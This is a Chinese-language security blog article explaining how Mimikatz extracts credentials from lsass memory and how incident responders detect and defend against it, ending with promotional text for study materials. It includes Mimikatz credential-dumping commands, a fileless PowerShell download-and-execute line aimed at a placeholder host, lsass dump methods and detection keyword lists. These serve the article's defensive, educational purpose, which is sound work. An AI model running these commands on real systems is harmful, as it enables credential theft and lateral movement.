ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

内网凭证安全:Mimikatz 原理与凭证抓取痕迹检测

内网凭证安全:Mimikatz 原理与凭证抓取痕迹检测 内网凭证安全Mimikatz 原理与凭证抓取痕迹检测前言在内网渗透链条里凭证抓取是横向移动的核心转折点。攻击者拿下一台主机权限之后第一件事往往不是种植木马而是抓取系统内存中的账号凭证。拿到明文密码或者 NTLM Hash就可以在内网中使用 Pass-the-Hash哈希传递、Overpass-the-Hash票据传递等技术不需要破解密码直接访问内网其他主机、域控制器。Mimikatz 是内网渗透最经典的凭证抓取工具也是应急响应中最高频碰到的攻击工具。很多安全人员听过这个工具但是不清楚它抓取凭证的底层原理也不知道该如何在 Windows 主机上发现 Mimikatz 执行痕迹。本文讲解 Mimikatz 核心原理、可以抓取哪些凭证、执行后的系统痕迹以及对应的检测、防御手段适合内网应急排查、红蓝对抗学习。⚠️法律声明本文仅用于企业授权环境安全自查、网络安全学习。未经授权在主机上抓取凭证、窃取账号信息、横向渗透属于违法行为禁止非法测试。一、Mimikatz 是什么Mimikatz 是一款由法国开发者 Benjamin Delpy 开发的开源工具原生功能是从 Windows lsass 进程内存中提取缓存的身份凭证。它不仅可以抓取本地账号密码还能导出 Kerberos 票据、NTLM Hash、PIN 码、证书等多种身份信息。很多人误区Mimikatz 不是病毒只是一个凭证提取工具。攻击者经常搭配 PowerShell 无文件方式加载 Mimikatz不需要落地 exe隐蔽性极强。二、核心原理lsass 进程与内存凭证1. lsass.exe 介绍LSASSLocal Security Authority Subsystem Service本地安全授权子系统服务Windows 系统核心进程PID 一般较高。作用用户登录时验证账号密码在内存中缓存登录凭证、NTLM Hash、Kerberos TGT 票据管理本地安全策略当用户登录 Windows本地登录、RDP 登录、域账号登录身份信息会被 lsass 加载到内存。旧版 WindowsWin7、Server2008R2、Win10 早期版本默认会在内存保存明文密码Mimikatz 就是读取 lsass 内存直接把这些凭证读取出来。2. sekurlsa 模块Mimikatz 王牌功能最常用命令sekurlsa::logonpasswords执行这条命令Mimikatz 读取 lsass 内存输出所有当前登录会话的凭证Username账号名Domain机器名 / 域名NTLMNTLM 哈希SHA1SHA1 哈希Password明文密码系统允许保存明文时才会出现3. 其他常用 Mimikatz 模块# 获取kerberos票据 sekurlsa::tickets # 导出证书 crypto::certificates # 哈希传递 sekurlsa::pth4. Windows 版本差异重点Windows 7 / Server 2008R2默认内存保留明文Mimikatz 一键拿明文密码Windows10 1809 之后、Server2019 及以上默认开启 LSA 保护LSA Protectionlsass 受保护普通 Mimikatz 无法直接读取内存明文攻击者对策关闭 LSA 保护、使用驱动绕过、dump lsass 内存文件离线分析。三、Mimikatz 常见执行方式不同方式痕迹不一样方式 1直接运行 mimikatz.exe痕迹最明显上传 mimikatz.exe 到主机cmd 直接执行。痕迹存在 mimikatz.exe 文件进程名称安全日志记录打开 lsass 行为。方式 2PowerShell 无文件加载内网最常用隐蔽通过 Base64 编码远程下载脚本内存中直接加载 Mimikatz不落地 exe。# 典型无文件加载仅演示原理禁止执行 IEX (New-Object System.Net.WebClient).DownloadString(http://xxx/mimikatz.ps1)痕迹不会留下 mimikatz 二进制文件但是 PowerShell 脚本块日志会捕获 base64 字符串、sekurlsa 关键字。方式 3dump lsass 内存离线提取凭证高级手法攻击者不直接在本机读取 lsass而是把 lsass 进程内存转储成文件如 lsass.dmp下载到自己机器本地使用 Mimikatz 分析 dump 文件。优势规避 lsass 实时访问检测主机上不会直接运行 Mimikatz应急很容易漏掉。工具procdump、tasklistcomsvcs、Windows 自带任务管理器都可以导出 lsass 转储文件。四、Mimikatz 执行后的痕迹检测应急排查重点1. 进程访问 lsass 的审计日志EventID:4663开启对象访问审计策略后如果一个非系统进程尝试打开 lsass.exe会生成 4663 事件。事件描述尝试访问lsass.exe进程对象访问权限PROCESS_VM_READ。含义进程尝试读取 lsass 内存是 Mimikatz/procdump 最典型特征。2. PowerShell 脚本块日志 EventID 4104如果攻击者用 PowerShell 加载 mimikatz.ps1开启脚本块日志后4104 事件会捕获恶意代码重点搜索关键词mimikatz、sekurlsa、logonpasswords、kerberos、pth、privilege::debugprivilege::debug 是 Mimikatz 内置命令用于提升权限读取 lsass 内存这个字符串出现基本可以判定 Mimikatz 执行。3. lsass 内存转储文件痕迹查找磁盘上是否存在 lsass.dmp、*.dmp 内存转储文件。where /r C:\ *.dmp可疑位置C:\Temp、%AppData%\Temp、C:\Windows\Temp4. 日志与命令历史PowerShell 历史文件ConsoleHost_history.txt搜索 sekurlsa、mimikatzcmd 历史查找 procdump、tasklist、rundll32 等用于 dump 内存的命令。5. 其他系统特征攻击者执行 Mimikatz 需要 SeDebugPrivilege 调试权限日志中可查看权限提升行为大量 Kerberos 票据导出可在安全日志观察异常票据请求。五、Pass-the-Hash哈希传递简单理解Mimikatz 拿到 NTLM Hash 之后不需要破解密码直接使用哈希在局域网进行身份认证也就是哈希传递。现象日志 4624 登录成功但是没有明文密码溯源登录事件中可以看到来源 IP攻击者利用拿到的 NTLM 哈希横向访问其他主机。风险一旦域管理员账号的 NTLM Hash 被导出攻击者可以接管整个域。六、应急处置流程发现 Mimikatz 抓取凭证怎么办隔离主机断开主机内网防止攻击者继续使用窃取到的凭证横向移动证据采集优先导出内存镜像导出安全日志、PowerShell 日志保留原始证据判断凭证泄露范围本地普通账号泄露修改本机账号密码域账号泄露立刻重置域账号密码强制注销所有登录会话查找横向痕迹根据登录日志查看攻击者使用该凭证访问过哪些内网 IP清理持久化后门检查计划任务、注册表、WMI 订阅、账号后门排查是否导出 Kerberos 票据防止票据复用。重点提醒仅仅修改被攻陷主机密码不够。如果攻击者拿到域账号凭证攻击者可以在其他机器继续使用凭证域账号必须重置。七、防御手段防止凭证被 Mimikatz 抓取开启 LSA 保护LSA ProtectionWindows 8.1/2012R2 及以上支持保护 lsass 进程阻止非授权程序读取内存。注册表开启 LSA 保护HKLM\SYSTEM\CurrentControlSet\Control\Lsa ProtectedModedword:00000001开启 PowerShell 脚本块日志记录 PowerShell 执行代码开启对象访问审计监控 lsass 进程访问行为最小权限原则普通用户不授予 SeDebugPrivilege 调试权限内网关闭不必要的 NTLM 协议优先使用 Kerberos限制 SMB、WMI、WinRM 远程访问仅运维白名单 IP 允许访问日志集中远程存储攻击者无法本地删除审计日志。八、常见排查误区没有找到 mimikatz.exe就认为没有被抓取凭证无文件加载、dump 内存离线分析磁盘不会存在 mimikatz.exe只靠检索文件会漏检。认为开启 LSA 保护就 100% 安全LSA 保护可以防护普通 Mimikatz但是存在驱动级绕过、漏洞绕过手段不能作为唯一防御手段。抓到 Mimikatz 痕迹只修改本机本地账号密码最严重的情况是域账号凭证泄露只改本地账号攻击者依旧可以用域账号在内网横行。忽略 dump 文件攻击者 dump 内存文件下载到本地分析本机不会运行 Mimikatz很多排查人员忽略 dmp 文件。九、排查命令合集PowerShell 检索 4104 脚本块日志查找 mimikatz 特征Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.Id -eq 4104} | Select-Object TimeCreated,Message检索磁盘 dmp 转储文件where /r C:\ *.dmp检索 PowerShell 历史文件type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt结尾Mimikatz 本身只是工具真正的危害是凭证泄露带来的内网横向扩散。很多入侵事件中攻击者拿下一台普通终端抓取域账号凭证最后拿下域控整个内网沦陷。应急排查不能只找恶意程序重点监控读取 lsass 内存、内存转储、PowerShell 恶意脚本这类凭证抓取行为。防御层面LSA 保护、审计日志、最小权限、远程日志存储组合起来才能有效对抗凭证窃取攻击。免责声明本文仅供网络安全学习、企业授权环境安全自查。任何未经授权窃取账号凭证、哈希传递横向访问计算机系统均违反《网络安全法》《刑法》相关规定作者不承担非法使用带来的法律责任。了解网络安全首先要搞清楚下面这些前提网络安全到底包含哪些技术是否需要会编程网络安全行业有哪些职业方向“我”该如何选择网络安全的职业发展和成长路线是什么如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表